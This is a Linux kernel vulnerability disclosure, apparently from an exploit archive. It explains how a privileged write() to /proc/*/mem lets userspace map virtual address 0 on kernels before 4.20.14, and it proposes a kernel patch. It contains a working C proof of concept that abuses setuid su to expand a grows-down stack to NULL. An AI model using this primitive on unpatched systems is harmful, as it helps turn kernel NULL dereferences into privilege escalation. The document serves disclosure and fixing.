Linux < 4.20.14 - Virtual Address 0 is Mappable via Privileged write() to /proc/*/mem

By following the codepath that Andrea Arcangeli pointed out in his mails
regarding the last bug I reported, I noticed that it is possible for userspace
on a normal distro to map virtual address 0, which on an X86 system without SMAP
enables the exploitation of kernel NULL pointer dereferences.

The problem is in the following code path:

mem_write -> mem_rw -> access_remote_vm -> __access_remote_vm
-> get_user_pages_remote -> __get_user_pages_locked -> __get_user_pages
-> find_extend_vma

Then, if the VMA in question has the VM_GROWSDOWN flag set:
expand_stack -> expand_downwards -> security_mmap_addr -> cap_mmap_addr

This, if the address is below dac_mmap_min_addr, does a capability check:

        ret = cap_capable(current_cred(), &init_user_ns, CAP_SYS_RAWIO,
                          SECURITY_CAP_AUDIT);

But this check is performed against current_cred(), which are the creds of the
task doing the write(), not the creds of the task whose VMA is being changed.


To reproduce:

===============================================================
user@deb10:~/stackexpand$ cat nullmap.c 
#include <sys/mman.h>
#include <err.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>

int main(void) {
  void *map = mmap((void*)0x10000, 0x1000, PROT_READ|PROT_WRITE,
                   MAP_PRIVATE|MAP_ANONYMOUS|MAP_GROWSDOWN|MAP_FIXED, -1, 0);
  if (map == MAP_FAILED) err(1, "mmap");
  int fd = open("/proc/self/mem", O_RDWR);
  if (fd == -1) err(1, "open");
  unsigned long addr = (unsigned long)map;
  while (addr != 0) {
    addr -= 0x1000;
    if (lseek(fd, addr, SEEK_SET) == -1) err(1, "lseek");
    char cmd[1000];
    sprintf(cmd, "LD_DEBUG=help su 1>&%d", fd);
    system(cmd);
  }
  system("head -n1 /proc/$PPID/maps");
  printf("data at NULL: 0x%lx\n", *(unsigned long *)0);
}
user@deb10:~/stackexpand$ gcc -o nullmap nullmap.c && ./nullmap 
00000000-00011000 rw-p 00000000 00:00 0 
data at NULL: 0x706f2064696c6156
user@deb10:~/stackexpand$ 
===============================================================


I would like it if we could just get rid of the "you can map NULL if you're
root" thing, but we probably don't want to unconditionally do that as a
backported fix.
Is there any chance that someone is legitimately using a stack that grows down
and is located in the restricted address space range? Does DOSEMU rely on stack
expansion? If not, maybe we could just change expand_downwards() to always
reject expansion below dac_mmap_min_addr no matter who you are?
A quick grep for "GROWSDOWN" in the DOSEMU sources has no results...

So, how about this patch? (Copy attached with proper indent.)

===============================================================
From a237de4f41ccddf9c31935c68af4589735c8348d Mon Sep 17 00:00:00 2001
From: Jann Horn <jannh@google.com>
Date: Wed, 27 Feb 2019 21:29:52 +0100
Subject: [PATCH] mm: enforce min addr even if capable() in expand_downwards()

security_mmap_addr() does a capability check with current_cred(), but we
can reach this code from contexts like a VFS write handler where
current_cred() must not be used.

This can be abused on systems without SMAP to make NULL pointer
dereferences exploitable again.

Fixes: 8869477a49c3 ("security: protect from stack expantion into low vm addresses")
Cc: stable@kernel.org
Signed-off-by: Jann Horn <jannh@google.com>
---
 mm/mmap.c | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/mm/mmap.c b/mm/mmap.c
index f901065c4c64..fc1809b1bed6 100644
--- a/mm/mmap.c
+++ b/mm/mmap.c
@@ -2426,12 +2426,11 @@ int expand_downwards(struct vm_area_struct *vma,
 {
  struct mm_struct *mm = vma->vm_mm;
  struct vm_area_struct *prev;
- int error;
+ int error = 0;
 
  address &= PAGE_MASK;
- error = security_mmap_addr(address);
- if (error)
-   return error;
+ if (address < mmap_min_addr)
+   return -EPERM;
 
  /* Enforce stack_guard_gap */
  prev = vma->vm_prev;
-- 
2.21.0.rc2.261.ga7da99ff1b-goog
===============================================================